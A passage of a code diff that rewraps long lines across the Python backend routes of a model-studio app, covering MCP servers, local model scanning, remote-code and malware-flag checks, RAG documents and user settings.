a/studio/backend/routes/mcp_servers.py +++ b/studio/backend/routes/mcp_servers.py @@ -158,7 +158,9 @@ def _changes_from_payload(payload: McpServerUpdate) -> dict: if "display_name" in sent: name = (payload.display_name or "").strip() if not name: - raise HTTPException(status_code = 400, detail = "display_name must not be empty") + raise HTTPException( + status_code = 400, detail = "display_name must not be empty" + ) changes["display_name"] = name if "url" in sent: changes["url"] = _validate_url(payload.url or "") @@ -167,11 +169,15 @@ def _changes_from_payload(payload: McpServerUpdate) -> dict: changes["headers_json"] = json.dumps(headers) if headers else None if "is_enabled" in sent: if payload.is_enabled is None: - raise HTTPException(status_code = 400, detail = "is_enabled must be true or false") + raise HTTPException( + status_code = 400, detail = "is_enabled must be true or false" + ) changes["is_enabled"] = payload.is_enabled if "use_oauth" in sent: if payload.use_oauth is None: - raise HTTPException(status_code = 400, detail = "use_oauth must be true or false") + raise HTTPException( + status_code = 400, detail = "use_oauth must be true or false" + ) changes["use_oauth"] = payload.use_oauth # stdio is OAuth-less: drop a stale OAuth flag when switching to a command. if "url" in changes and is_stdio(changes["url"]): @@ -204,7 +210,8 @@ async def update_mcp_server( # fastmcp keys tokens by URL and would otherwise let a re-pointed server # silently inherit the old account's credentials. if bool(old.get("use_oauth")) and ( - ("url" in changes and changes["url"] != old["url"]) or changes.get("use_oauth") is False + ("url" in changes and changes["url"] != old["url"]) + or changes.get("use_oauth") is False ): await clear_oauth_tokens_async(old["url"]) mcp_servers_db.update_server(server_id, changes) @@ -212,16 +219,23 @@ async def update_mcp_server( # them and let the next send re-probe; a rename leaves them valid. Live stdio sessions for the # old endpoint close too. Gate on a real value change, not mere presence: the edit dialog # resends url/headers/oauth unchanged on a rename, which must not drop the session. - if any(changes[k] != old.get(k) for k in changes.keys() & TOOL_CACHE_INVALIDATING_FIELDS): + if any( + changes[k] != old.get(k) + for k in changes.keys() & TOOL_CACHE_INVALIDATING_FIELDS + ): invalidate_tool_cache(server_id) # Narrow to this row's env: another server row sharing the command but # with a different env keeps its live sessions. - await asyncio.to_thread(close_stdio_sessions, old["url"], parse_server_headers(old)) + await asyncio.to_thread( + close_stdio_sessions, old["url"], parse_server_headers(old) + ) return _row_to_response(mcp_servers_db.get_server(server_id)) @router.delete("/{server_id}", status_code = 204) -async def delete_mcp_server(server_id: str, current_subject: str = Depends(get_current_subject)): +async def delete_mcp_server( + server_id: str, current_subject: str = Depends(get_current_subject) +): old = mcp_servers_db.get_server(server_id) if not old: raise HTTPException(status_code = 404, detail = "MCP server not found") @@ -242,7 +256,9 @@ async def refresh_mcp_server_tools( # Refresh uses the stored address, so re-check the stdio gate here too: a # stdio row from a desktop DB must not spawn on a hosted/network host. if is_stdio(server["url"]) and not stdio_mcp_enabled(): - raise HTTPException(status_code = 400, detail = "stdio MCP servers are disabled on this host") + raise HTTPException( + status_code = 400, detail = "stdio MCP servers are disabled on this host" + ) use_oauth = bool(server.get("use_oauth")) try: diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py index 0806c2f513..b47dd811b9 100644 --- a/studio/backend/routes/models.py +++ b/studio/backend/routes/models.py @@ -216,7 +216,9 @@ def _is_model_directory(d: Path) -> bool: return False try: - has_config = (d / "config.json").exists() or (d / "adapter_config.json").exists() + has_config = (d / "config.json").exists() or ( + d / "adapter_config.json" + ).exists() if not has_config: return False return any(_is_weight_file(f) for f in d.iterdir() if f.is_file()) @@ -247,7 +249,9 @@ def _has_non_gguf_weights(path: Path) -> bool: return False -def _scan_models_dir(models_dir: Path, *, limit: int | None = None) -> List[LocalModelInfo]: +def _scan_models_dir( + models_dir: Path, *, limit: int | None = None +) -> List[LocalModelInfo]: if not models_dir.exists() or not models_dir.is_dir(): return [] @@ -532,7 +536,9 @@ def _ollama_links_dir(ollama_dir: Path) -> Optional[Path]: return None -def _scan_ollama_dir(ollama_dir: Path, limit: Optional[int] = None) -> List[LocalModelInfo]: +def _scan_ollama_dir( + ollama_dir: Path, limit: Optional[int] = None +) -> List[LocalModelInfo]: """Scan an Ollama models directory for downloaded models. Ollama uses a content-addressable layout @@ -607,7 +613,9 @@ def _scan_ollama_dir(ollama_dir: Path, limit: Optional[int] = None) -> List[Loca if tmp_path.is_symlink() or tmp_path.exists(): tmp_path.unlink() except OSError as cleanup_err: - logger.debug("Could not clean up tmp path %s: %s", tmp_path, cleanup_err) + logger.debug( + "Could not clean up tmp path %s: %s", tmp_path, cleanup_err + ) return None try: @@ -624,7 +632,11 @@ def _scan_ollama_dir(ollama_dir: Path, limit: Optional[int] = None) -> List[Loca repo_parts = list(parts[1:-1]) tag = parts[-1] - if host == "registry.ollama.ai" and repo_parts and repo_parts[0] == "library": + if ( + host == "registry.ollama.ai" + and repo_parts + and repo_parts[0] == "library" + ): repo_name = "/".join(repo_parts[1:]) elif host == "registry.ollama.ai": repo_name = "/".join(repo_parts) @@ -681,7 +693,9 @@ def _scan_ollama_dir(ollama_dir: Path, limit: Optional[int] = None) -> List[Loca candidate = blobs_dir / digest.replace(":", "-") if candidate.is_file(): link_name = f"{safe_name}-{tag}{quant}.gguf" - gguf_link_path = _make_link(model_link_dir, link_name, candidate) + gguf_link_path = _make_link( + model_link_dir, link_name, candidate + ) elif media == "application/vnd.ollama.image.projector": candidate = blobs_dir / digest.replace(":", "-") @@ -753,7 +767,11 @@ def collect_local_models(models_root: Path) -> List[LocalModelInfo]: local_models += _scan_hf_cache(legacy_hf) # Scan HF system default cache (may differ under env overrides). - if _safe_is_dir(hf_default) and default_real != hf_cache_real and default_real != legacy_real: + if ( + _safe_is_dir(hf_default) + and default_real != hf_cache_real + and default_real != legacy_real + ): local_models += _scan_hf_cache(hf_default) # Scan LM Studio directories. @@ -779,7 +797,9 @@ def collect_local_models(models_root: Path) -> List[LocalModelInfo]: + _scan_hf_cache(folder_path) + _scan_lmstudio_dir(folder_path) ) - if not any(p in (".studio_links", "ollama_links") for p in Path(m.path).parts) + if not any( + p in (".studio_links", "ollama_links") for p in Path(m.path).parts + ) ] custom_models = _generic if len(custom_models) < _MAX_MODELS_PER_FOLDER: @@ -790,7 +810,9 @@ def collect_local_models(models_root: Path) -> List[LocalModelInfo]: except OSError as e: logger.warning("Skipping unreadable scan folder %s: %s", folder_path, e) continue - local_models += [m.model_copy(update = {"source": "custom"}) for m in custom_models] + local_models += [ + m.model_copy(update = {"source": "custom"}) for m in custom_models + ] # Deduplicate, but always keep custom folder entries (keyed by # (id, source)) so they show in the "Custom Folders" UI section @@ -1321,7 +1343,9 @@ def _match_browse_child(current: Path, name: str) -> Optional[Path]: detail = f"Permission denied reading {current.name}", ) from None except OSError as exc: - logger.warning("browse-folders: could not read %s: %s", current, exc, exc_info = True) + logger.warning( + "browse-folders: could not read %s: %s", current, exc, exc_info = True + ) raise HTTPException( status_code = 500, detail = f"Could not read {os.path.basename(str(current))}", @@ -1502,7 +1526,9 @@ def browse_folders( detail = f"Permission denied reading {os.path.basename(str(target))}", ) except OSError as exc: - logger.warning("browse-folders: could not read %s: %s", target, exc, exc_info = True) + logger.warning( + "browse-folders: could not read %s: %s", target, exc, exc_info = True + ) raise HTTPException( status_code = 500, detail = f"Could not read {os.path.basename(str(target))}", @@ -1566,7 +1592,9 @@ def browse_folders( # sandbox (else the up-row would 403 on click); users can still hop # to other allowed roots via the suggestion chips. parent: Optional[str] - if target.parent == target or not _is_path_inside_allowlist(target.parent, allowed_roots): + if target.parent == target or not _is_path_inside_allowlist( + target.parent, allowed_roots + ): parent = None else: parent = str(target.parent) @@ -1718,12 +1746,16 @@ def _get_max_position_embeddings(config) -> Optional[int]: """Extract max_position_embeddings from a config, with text_config fallback.""" if hasattr(config, "max_position_embeddings"): return config.max_position_embeddings - if hasattr(config, "text_config") and hasattr(config.text_config, "max_position_embeddings"): + if hasattr(config, "text_config") and hasattr( + config.text_config, "max_position_embeddings" + ): return config.text_config.max_position_embeddings return None -def _get_model_size_bytes(model_name: str, hf_token: Optional[str] = None) -> Optional[int]: +def _get_model_size_bytes( + model_name: str, hf_token: Optional[str] = None +) -> Optional[int]: """Total size of model weight files from HF Hub.""" try: from huggingface_hub import HfApi @@ -1736,7 +1768,9 @@ def _get_model_size_bytes(model_name: str, hf_token: Optional[str] = None) -> Op weight_exts = (".safetensors", ".bin", ".pt", ".pth", ".gguf") total = 0 for sibling in info.siblings: - if sibling.rfilename and any(sibling.rfilename.endswith(ext) for ext in weight_exts): + if sibling.rfilename and any( + sibling.rfilename.endswith(ext) for ext in weight_exts + ): if sibling.size is not None: total += sibling.size @@ -1797,7 +1831,9 @@ async def get_model_config( def _to_ns(d): if isinstance(d, dict): - return SimpleNamespace(**{k: _to_ns(v) for k, v in d.items()}) + return SimpleNamespace( + **{k: _to_ns(v) for k, v in d.items()} + ) return d max_position_embeddings = _get_max_position_embeddings(_to_ns(_cfg)) @@ -1875,7 +1911,9 @@ async def scan_model_remote_code( # downloads adapter_config.json, which would otherwise hide the adapter from # cleanup on decline. On error treat as pre-existing so a decline never deletes it. try: - _primary_preexisting = is_local_path(model_name) or _repo_in_any_hf_cache(model_name) + _primary_preexisting = is_local_path(model_name) or _repo_in_any_hf_cache( + model_name + ) except Exception: _primary_preexisting = True security_targets = [model_name] @@ -1898,7 +1936,9 @@ async def scan_model_remote_code( scan_created_repos: list = [] _seen_created: set = set() - def _mark_scan_created(repo: str, *, preexisting: Optional[bool] = None) -> None: + def _mark_scan_created( + repo: str, *, preexisting: Optional[bool] = None + ) -> None: if not repo or repo in _seen_created: return _seen_created.add(repo) @@ -1917,7 +1957,8 @@ async def scan_model_remote_code( for _target in security_targets: # Use the pre-base-resolution snapshot for the primary (see above). _mark_scan_created( - _target, preexisting = _primary_preexisting if _target == model_name else None + _target, + preexisting = _primary_preexisting if _target == model_name else None, ) for _ext in external_auto_map_repos(_target, hf_token): external_refs.append(_ext) @@ -1938,7 +1979,9 @@ async def scan_model_remote_code( payload["created_by_scan"] = model_name in scan_created_repos payload["scan_created_repos"] = scan_created_repos # Provider tag decided here, where locality/scan scope/external refs are known. - payload["provider"] = _consent_provider(model_name, security_targets, external_refs) + payload["provider"] = _consent_provider( + model_name, security_targets, external_refs + ) # Malware gate (metadata-only): surface HF-flagged unsafe files so the dialog can # hard-block. Orthogonal to remote code -- a poisoned pickle needs no auto_map. @@ -1948,7 +1991,9 @@ async def scan_model_remote_code( security_blocked = False for _target in security_targets: _sec = evaluate_file_security( - _target, hf_token = hf_token, load_subdirs = security_load_subdirs(_target, hf_token) + _target, + hf_token = hf_token, + load_subdirs = security_load_subdirs(_target, hf_token), ) security_blocked = security_blocked or _sec.blocked unsafe_files.extend(_sec.unsafe_files) @@ -1973,7 +2018,8 @@ async def scan_model_remote_code( @router.post("/discard-remote-code") async def discard_remote_code_download( - model_name: str = Body(..., embed = True), current_subject: str = Depends(get_current_subject) + model_name: str = Body(..., embed = True), + current_subject: str = Depends(get_current_subject), ): """Purge a repo the consent scan downloaded after the user DECLINED its custom code, so untrusted code is not left on disk. @@ -2048,7 +2094,9 @@ async def discard_remote_code_download( logger.info("Discarded declined remote-code download: %s", model_name) return {"deleted": True} except Exception as e: - logger.warning("Could not discard remote-code download for %s: %s", model_name, e) + logger.warning( + "Could not discard remote-code download for %s: %s", model_name, e + ) return {"deleted": False, "reason": "error"} @@ -2141,10 +2189,14 @@ def _loaded_model_matches_deleted_path(active_model: str, deleted_path: Path) -> ) active_lower = active_model.lower() target_lower = str(deleted_path).lower() - return active_lower == target_lower or active_lower.startswith(f"{target_lower}{os.sep}") + return active_lower == target_lower or active_lower.startswith( + f"{target_lower}{os.sep}" + ) -def _loading_model_matches_deleted_path(loading_model: object, deleted_path: Path) -> bool: +def _loading_model_matches_deleted_path( + loading_model: object, deleted_path: Path +) -> bool: if not loading_model: return False return _loaded_model_matches_deleted_path(str(loading_model), deleted_path) @@ -2363,7 +2415,9 @@ async def delete_finetuned_model( except HTTPException: raise except Exception as e: - logger.warning("Could not check inference backend loaded model before delete: %s", e) + logger.warning( + "Could not check inference backend loaded model before delete: %s", e + ) raise HTTPException( status_code = 503, detail = "Could not verify model load status before deleting", @@ -2435,7 +2489,9 @@ async def delete_finetuned_model( @router.get("/loras/{lora_path:path}/base-model", response_model = LoRABaseModelResponse) -async def get_lora_base_model(lora_path: str, current_subject: str = Depends(get_current_subject)): +async def get_lora_base_model( + lora_path: str, current_subject: str = Depends(get_current_subject) +): """ Get the base model for a LoRA adapter. @@ -2514,7 +2570,9 @@ async def check_embedding_model( logger.info(f"Checking if embedding model: {model_name}") is_embedding = is_embedding_model(model_name, hf_token = hf_token) - logger.info(f"Embedding check result for {model_name}: is_embedding={is_embedding}") + logger.info( + f"Embedding check result for {model_name}: is_embedding={is_embedding}" + ) return EmbeddingCheckResponse( model_name = model_name, is_embedding = is_embedding, @@ -2561,7 +2619,9 @@ def _read_native_context_length(repo_id: str, is_local: bool) -> Optional[int]: return None -def _resolve_quant_gguf(repo_id: str, quant: str, is_local: bool) -> tuple[Optional[str], int]: +def _resolve_quant_gguf( + repo_id: str, quant: str, is_local: bool +) -> tuple[Optional[str], int]: """Primary shard path and total weight bytes for a downloaded quant, or (None, 0). Metadata lives in shard 1, so the lexicographically first file of the matching quant is returned. Scoped to one snapshot to avoid summing the @@ -2637,8 +2697,12 @@ def _resolve_quant_gguf(repo_id: str, quant: str, is_local: bool) -> tuple[Optio async def get_kv_cache_estimate( repo_id: str = Query(..., description = "HF repo ID or local path"), quant: str = Query(..., description = "Quantization label (e.g. Q4_K_M)"), - n_ctx: int = Query(..., ge = 1, description = "Context length to size the KV cache for"), - cache_type_kv: Optional[str] = Query(None, description = "KV cache dtype (e.g. q8_0)"), + n_ctx: int = Query( + ..., ge = 1, description = "Context length to size the KV cache for" + ), + cache_type_kv: Optional[str] = Query( + None, description = "KV cache dtype (e.g. q8_0)" + ), current_subject: str = Depends(get_current_subject), ): """Estimate KV cache + weight bytes for a downloaded GGUF at n_ctx. @@ -2699,7 +2763,9 @@ async def get_gguf_variants( repo_id: str = Query( ..., description = "HuggingFace repo ID (e.g. 'unsloth/gemma-3-4b-it-GGUF')" ), - hf_token: Optional[str] = Query(None, description = "HuggingFace token for private repos"), + hf_token: Optional[str] = Query( + None, description = "HuggingFace token for private repos" + ), hf_token_header: Optional[str] = Depends(get_hf_token), current_subject: str = Depends(get_current_subject), ): @@ -2804,7 +2870,11 @@ async def get_gguf_download_progress( break total_progress_bytes = downloaded_bytes + in_progress_bytes - progress = min(total_progress_bytes / expected_bytes, 0.99) if expected_bytes > 0 else 0 + progress = ( + min(total_progress_bytes / expected_bytes, 0.99) + if expected_bytes > 0 + else 0 + ) # Report 1.0 only when all bytes are in completed files. if expected_bytes > 0 and downloaded_bytes >= expected_bytes: progress = 1.0 @@ -3039,7 +3109,9 @@ def _repo_has_mmproj(repo_info) -> bool: """True if the repo ships a GGUF vision adapter (mmproj), so it can take image inputs. Cheap: scans already-listed file names only.""" return any( - _is_mmproj_filename(f.file_name) for revision in repo_info.revisions for f in revision.files + _is_mmproj_filename(f.file_name) + for revision in repo_info.revisions + for f in revision.files ) @@ -3144,7 +3216,9 @@ async def list_cached_gguf(current_subject: str = Depends(get_current_subject)): } # Keep the newest timestamp across duplicate caches; # attach only when known so absent rows sort as oldest. - lm = max(last_modified, (existing or {}).get("last_modified", 0.0)) + lm = max( + last_modified, (existing or {}).get("last_modified", 0.0) + ) if lm > 0: row["last_modified"] = lm seen_lower[key] = row @@ -3189,7 +3263,9 @@ async def list_cached_models( if _repo_has_gguf_files(repo_info): continue total_size = sum( - (f.size_on_disk or 0) for rev in repo_info.revisions for f in rev.files + (f.size_on_disk or 0) + for rev in repo_info.revisions + for f in rev.files ) if total_size == 0: continue @@ -3214,7 +3290,9 @@ async def list_cached_models( } # Keep the newest timestamp across duplicate caches; # attach only when known so absent rows sort as oldest. - lm = max(last_modified, (existing or {}).get("last_modified", 0.0)) + lm = max( + last_modified, (existing or {}).get("last_modified", 0.0) + ) if lm > 0: row["last_modified"] = lm seen_lower[key] = row diff --git a/studio/backend/routes/preview.py b/studio/backend/routes/preview.py index 5acf039401..9fcadf1196 100644 --- a/studio/backend/routes/preview.py +++ b/studio/backend/routes/preview.py @@ -165,10 +165,14 @@ async def _serve_chat( await _preview_lock.acquire() keep_locked = False try: - await load_model(LoadRequest(model_path = str(path)), request, DEFAULT_ADMIN_USERNAME) + await load_model( + LoadRequest(model_path = str(path)), request, DEFAULT_ADMIN_USERNAME + ) # Beats a process-wide `--enable-tools` (enable_tools=False alone wouldn't). with tools_force_disabled(): - response = await openai_chat_completions(payload, request, DEFAULT_ADMIN_USERNAME) + response = await openai_chat_completions( + payload, request, DEFAULT_ADMIN_USERNAME + ) if isinstance(response, StreamingResponse): response.body_iterator = _unlock_after(response.body_iterator) keep_locked = True @@ -179,7 +183,9 @@ async def _serve_chat( @router.get("") -async def list_previews(request: Request, current_subject: str = Depends(get_current_subject)): +async def list_previews( + request: Request, current_subject: str = Depends(get_current_subject) +): base = str(request.base_url) sharing_on = get_preview_sharing_enabled() previews = [] @@ -202,7 +208,9 @@ async def list_previews(request: Request, current_subject: str = Depends(get_cur @router.post("/{run}/v1/chat/completions") -async def preview_chat_latest(run: str, payload: ChatCompletionRequest, request: Request): +async def preview_chat_latest( + run: str, payload: ChatCompletionRequest, request: Request +): _verify_or_404(run, None, request) _enforce_rate_limit(request) return await _serve_chat(run, None, payload, request) @@ -260,7 +268,11 @@ _PREVIEW_ASSET_MEDIA_TYPES = { async def preview_asset(asset_path: str): target = (_FRONTEND_DIST / asset_path).resolve() media_type = _PREVIEW_ASSET_MEDIA_TYPES.get(target.suffix.lower()) - if media_type is None or not target.is_relative_to(_FRONTEND_DIST) or not target.is_file(): + if ( + media_type is None + or not target.is_relative_to(_FRONTEND_DIST) + or not target.is_file() + ): raise HTTPException(status_code = 404, detail = "Not found") return FileResponse(target, media_type = media_type) diff --git a/studio/backend/routes/prompts.py b/studio/backend/routes/prompts.py index df81008766..d3fc9eb356 100644 --- a/studio/backend/routes/prompts.py +++ b/studio/backend/routes/prompts.py @@ -69,7 +69,9 @@ def remove_entry(entry_id: str, current_subject: str = Depends(get_current_subje @router.post("/entries/bulk") -def bulk_entries(req: BulkEntriesRequest, current_subject: str = Depends(get_current_subject)): +def bulk_entries( + req: BulkEntriesRequest, current_subject: str = Depends(get_current_subject) +): count = bulk_upsert_prompt_entries([e.model_dump() for e in req.entries]) return {"count": count} @@ -96,6 +98,8 @@ def remove_list(list_id: str, current_subject: str = Depends(get_current_subject @router.post("/lists/bulk") -def bulk_lists(req: BulkListsRequest, current_subject: str = Depends(get_current_subject)): +def bulk_lists( + req: BulkListsRequest, current_subject: str = Depends(get_current_subject) +): count = bulk_upsert_prompt_lists([l.model_dump() for l in req.lists]) return {"count": count} diff --git a/studio/backend/routes/providers.py b/studio/backend/routes/providers.py index 5a55c9b0bb..865ae7c957 100644 --- a/studio/backend/routes/providers.py +++ b/studio/backend/routes/providers.py @@ -206,7 +206,9 @@ async def test_provider( try: api_key = decrypt_api_key(payload.encrypted_api_key) except Exception as exc: - logger.warning("Failed to decrypt API key (%s): %s", type(exc).__name__, exc) + logger.warning( + "Failed to decrypt API key (%s): %s", type(exc).__name__, exc + ) raise HTTPException( status_code = 400, detail = "Failed to decrypt API key. The public key may have changed — try refreshing the page.", @@ -305,7 +307,9 @@ async def list_provider_models( try: api_key = decrypt_api_key(payload.encrypted_api_key) except Exception as exc: - logger.warning("Failed to decrypt API key (%s): %s", type(exc).__name__, exc) + logger.warning( + "Failed to decrypt API key (%s): %s", type(exc).__name__, exc + ) raise HTTPException( status_code = 400, detail = "Failed to decrypt API key. The public key may have changed — try refreshing the page.", @@ -350,7 +354,9 @@ async def list_provider_models( if allow_prefixes is not None: prefix_tuple = tuple(str(p) for p in allow_prefixes if str(p)) if prefix_tuple: - models = [m for m in models if m.get("id", "").startswith(prefix_tuple)] + models = [ + m for m in models if m.get("id", "").startswith(prefix_tuple) + ] allowlist = info.get("model_id_allowlist") if allowlist is not None: models = [m for m in models if allowlist.match(m.get("id", ""))] diff --git a/studio/backend/routes/rag.py b/studio/backend/routes/rag.py index 392a4e0d02..5d83a35f75 100644 --- a/studio/backend/routes/rag.py +++ b/studio/backend/routes/rag.py @@ -194,7 +194,9 @@ def update_knowledge_base( params.append(payload.description or None) if sets: params.append(kb_id) - conn.execute(f"UPDATE knowledge_bases SET {', '.join(sets)} WHERE id=?", params) + conn.execute( + f"UPDATE knowledge_bases SET {', '.join(sets)} WHERE id=?", params + ) conn.commit() return {"ok": True} finally: @@ -202,7 +204,9 @@ def update_knowledge_base( @router.delete("/knowledge-bases/{kb_id}") -def delete_knowledge_base(kb_id: str, subject: str = Depends(get_current_subject)) -> dict: +def delete_knowledge_base( + kb_id: str, subject: str = Depends(get_current_subject) +) -> dict: _require_rag() conn = rag_db.get_connection() try: @@ -231,7 +235,13 @@ async def upload_kb_document( conn.close() stored_path, filename = _save_upload(file) document_id, job_id = ingestion.start_ingestion( - store.kb_scope(kb_id), kb_id, None, filename, stored_path, ocr = ocr, caption = caption + store.kb_scope(kb_id), + kb_id, + None, + filename, + stored_path, + ocr = ocr, + caption = caption, ) return {"documentId": document_id, "jobId": job_id, "filename": filename} @@ -270,7 +280,9 @@ async def upload_thread_document( @router.get("/threads/{thread_id}/documents") -def list_thread_documents(thread_id: str, subject: str = Depends(get_current_subject)) -> dict: +def list_thread_documents( + thread_id: str, subject: str = Depends(get_current_subject) +) -> dict: _require_rag() conn = rag_db.get_connection() try: @@ -308,7 +320,9 @@ async def upload_project_document( @router.get("/projects/{project_id}/documents") -def list_project_documents(project_id: str, subject: str = Depends(get_current_subject)) -> dict: +def list_project_documents( + project_id: str, subject: str = Depends(get_current_subject) +) -> dict: _require_rag() conn = rag_db.get_connection() try: @@ -332,7 +346,9 @@ def list_all_uploaded_documents(subject: str = Depends(get_current_subject)) -> from storage.studio_db import list_chat_projects - project_names = {p["id"]: p["name"] for p in list_chat_projects(include_archived = True)} + project_names = { + p["id"]: p["name"] for p in list_chat_projects(include_archived = True) + } out = [] for doc in docs: @@ -352,7 +368,9 @@ def list_all_uploaded_documents(subject: str = Depends(get_current_subject)) -> @router.delete("/documents/{document_id}") -def delete_document(document_id: str, subject: str = Depends(get_current_subject)) -> dict: +def delete_document( + document_id: str, subject: str = Depends(get_current_subject) +) -> dict: _require_rag() conn = rag_db.get_connection() try: @@ -384,7 +402,9 @@ def job_status(job_id: str, subject: str = Depends(get_current_subject)) -> dict @router.get("/jobs/{job_id}/events") -def job_events(job_id: str, subject: str = Depends(get_current_subject)) -> StreamingResponse: +def job_events( + job_id: str, subject: str = Depends(get_current_subject) +) -> StreamingResponse: _require_rag() def gen(): @@ -414,7 +434,9 @@ def search(payload: SearchRequest, subject: str = Depends(get_current_subject)) if payload.thread_id: scopes.append(store.thread_scope(payload.thread_id)) if not scopes: - raise HTTPException(status_code = 400, detail = "Provide kb_id, project_id, or thread_id") + raise HTTPException( + status_code = 400, detail = "Provide kb_id, project_id, or thread_id" + ) scope = scopes[0] if len(scopes) == 1 else scopes conn = rag_db.get_connection() @@ -424,7 +446,9 @@ def search(payload: SearchRequest, subject: str = Depends(get_current_subject)) elif payload.mode == "dense": hits = retrieval.retrieve_dense(conn, scope, payload.query, payload.top_k) else: - hits = retrieval.retrieve_hybrid(conn, scope, payload.query, k = payload.top_k) + hits = retrieval.retrieve_hybrid( + conn, scope, payload.query, k = payload.top_k + ) hits = retrieval.filter_min_score(hits, payload.min_score) rows = store.chunks_by_id(conn, [h.chunk_id for h in hits]) results = [] @@ -531,7 +555,9 @@ def preview_target( @router.get("/documents/{document_id}/file-url") -def document_file_url(document_id: str, subject: str = Depends(get_current_subject)) -> dict: +def document_file_url( + document_id: str, subject: str = Depends(get_current_subject) +) -> dict: """Mint a short-lived signed URL for the source file.""" _require_rag() conn = rag_db.get_connection() diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py index 17e64df918..2d819bf7df 100644 --- a/studio/backend/routes/settings.py +++ b/studio/backend/routes/settings.py @@ -136,7 +136,9 @@ def _helper_precache_response(enabled: bool | None = None) -> HelperPrecacheResp @router.get("/upload-limit", response_model = UploadLimitResponse) -def get_upload_limit(current_subject: str = Depends(get_current_subject)) -> UploadLimitResponse: +def get_upload_limit( + current_subject: str = Depends(get_current_subject), +) -> UploadLimitResponse: return _upload_limit_response(get_upload_limit_mb()) @@ -190,7 +192,9 @@ class CodingAgentsResponse(BaseModel): @router.get("/coding-agents", response_model = CodingAgentsResponse) -def get_coding_agents(current_subject: str = Depends(get_current_subject)) -> CodingAgentsResponse: +def get_coding_agents( + current_subject: str = Depends(get_current_subject), +) -> CodingAgentsResponse: return CodingAgentsResponse(detected = detect_installed_coding_agents()) @@ -208,11 +212,14 @@ def get_openai_auto_switch( @router.put("/openai-auto-switch", response_model = OpenAIAutoSwitchResponse) def update_openai_auto_switch( - payload: OpenAIAutoSwitchPayload, current_subject: str = Depends(get_current_subject) + payload: OpenAIAutoSwitchPayload, + current_subject: str = Depends(get_current_subject), ) -> OpenAIAutoSwitchResponse: try: enabled, idle_seconds, keep_kv = set_openai_auto_switch( - payload.enabled, payload.auto_unload_idle_seconds, payload.auto_unload_keep_kv + payload.enabled, + payload.auto_unload_idle_seconds, + payload.auto_unload_keep_kv, ) except ValueError as exc: raise log_and_http_error( @@ -266,7 +273,9 @@ def update_openai_auto_switch_override( class EmbeddingModelPayload(BaseModel): - embedding_model: str = Field(..., min_length = 1, max_length = MAX_EMBEDDING_MODEL_LENGTH) + embedding_model: str = Field( + ..., min_length = 1, max_length = MAX_EMBEDDING_MODEL_LENGTH + ) # Token for gated/private repos during verification (not stored). hf_token: Optional[str] = Field(default = None, max_length = 512) # Skip HF verification (offline installs, local paths HF can't see). @@ -376,7 +385,9 @@ def _hf_gguf_backend_error(model: str, hf_token: Optional[str]) -> str | None: files = list_repo_files(candidate, token = hf_token) except Exception: # noqa: BLE001 - missing/gated repo: try next candidate continue - if any(f.lower().endswith(".gguf") and "mmproj" not in f.lower() for f in files): + if any( + f.lower().endswith(".gguf") and "mmproj" not in f.lower() for f in files + ): return None checked = " or ".join(repr(c) for c in candidates) return ( @@ -426,7 +437,9 @@ def update_embedding_model( # wrongly reject a custom repo whose GGUF companion is clean; the GGUF availability # checks below cover that path instead. scan_st_pickle = ( - model != default_embedding_model() and not is_local_gguf and not _llama_backend_active() + model != default_embedding_model() + and not is_local_gguf + and not _llama_backend_active() ) if scan_st_pickle: # Malware/pickle gate before we persist a repo the embedder later loads with @@ -449,7 +462,9 @@ def update_embedding_model( ) ) ) - if evaluate_file_security(model, hf_token = scan_token, load_subdirs = load_subdirs).blocked: + if evaluate_file_security( + model, hf_token = scan_token, load_subdirs = load_subdirs + ).blocked: # 403, not 409: the client routes every 409 into the forceable "save anyway" # flow, but this block is a hard, non-forceable security refusal. raise HTTPException( @@ -476,7 +491,9 @@ def update_embedding_model( "you may be offline)." ), ) - gguf_error = _local_gguf_backend_error(model) or _hf_gguf_backend_error(model, hf_token) + gguf_error = _local_gguf_backend_error(model) or _hf_gguf_backend_error( + model, hf_token + ) if gguf_error: raise HTTPException(status_code = 409, detail = gguf_error) set_rag_embedding_model(model) @@ -544,7 +561,11 @@ def update_preview_sharing( event = "settings.update_preview_sharing_failed", log = logger, ) from exc - logger.info("settings.preview_sharing_updated subject=%s enabled=%s", current_subject, enabled) + logger.info( + "settings.preview_sharing_updated subject=%s enabled=%s", + current_subject, + enabled, + ) return PreviewSharingResponse(enabled = enabled) @@ -576,7 +597,9 @@ class PersonalizationProfile(BaseModel): if not value: return value if not value.startswith("data:image/") and not _is_bundled_avatar_url(value): - raise ValueError("avatarDataUrl must be an image data URL or bundled avatar.") + raise ValueError( + "avatarDataUrl must be an image data URL or bundled avatar." + ) return value @@ -591,8 +614,12 @@ class PersonalizationCustomColors(BaseModel): class PersonalizationCustomColorModes(BaseModel): model_config = ConfigDict(extra = "ignore") - light: PersonalizationCustomColors = Field(default_factory = PersonalizationCustomColors) - dark: PersonalizationCustomColors = Field(default_factory = PersonalizationCustomColors) + light: PersonalizationCustomColors = Field( + default_factory = PersonalizationCustomColors + ) + dark: PersonalizationCustomColors = Field( + default_factory = PersonalizationCustomColors + ) MAX_IMPORTED_FONTS = 3 @@ -694,7 +721,9 @@ def _default_sidebar_menu() -> "list[PersonalizationSidebarMenuItem]": class PersonalizationCustomization(BaseModel): model_config = ConfigDict(extra = "ignore") - colors: PersonalizationCustomColorModes = Field(default_factory = PersonalizationCustomColorModes) + colors: PersonalizationCustomColorModes = Field( + default_factory = PersonalizationCustomColorModes + ) uiFont: Optional[str] = Field(None, max_length = 200) headingFont: Optional[str] = Field(None, max_length = 200) chatFont: Optional[str] = Field(None, max_length = 200) @@ -740,7 +769,9 @@ class PersonalizationCustomization(BaseModel): items = [item for item in value if not (item.id in seen or seen.add(item.id))] for item_id, visible in SIDEBAR_MENU_ITEM_DEFAULTS.items(): if item_id not in seen: - items.append(PersonalizationSidebarMenuItem(id = item_id, visible = visible)) + items.append( + PersonalizationSidebarMenuItem(id = item_id, visible = visible) + ) return items @@ -760,7 +791,9 @@ class PersonalizationPayload(BaseModel): version: int = PERSONALIZATION_VERSION profile: PersonalizationProfile = Field(default_factory = PersonalizationProfile) - appearance: PersonalizationAppearance = Field(default_factory = PersonalizationAppearance) + appearance: PersonalizationAppearance = Field( + default_factory = PersonalizationAppearance + ) class PersonalizationResponse(PersonalizationPayload): @@ -781,9 +814,13 @@ def get_personalization_settings( response.saved = bool(stored) appearance = stored.get("appearance") if isinstance(stored, dict) else None profile = stored.get("profile") if isinstance(stored, dict) else None - response.customizationSaved = isinstance(appearance, dict) and "customization" in appearance + response.customizationSaved = ( + 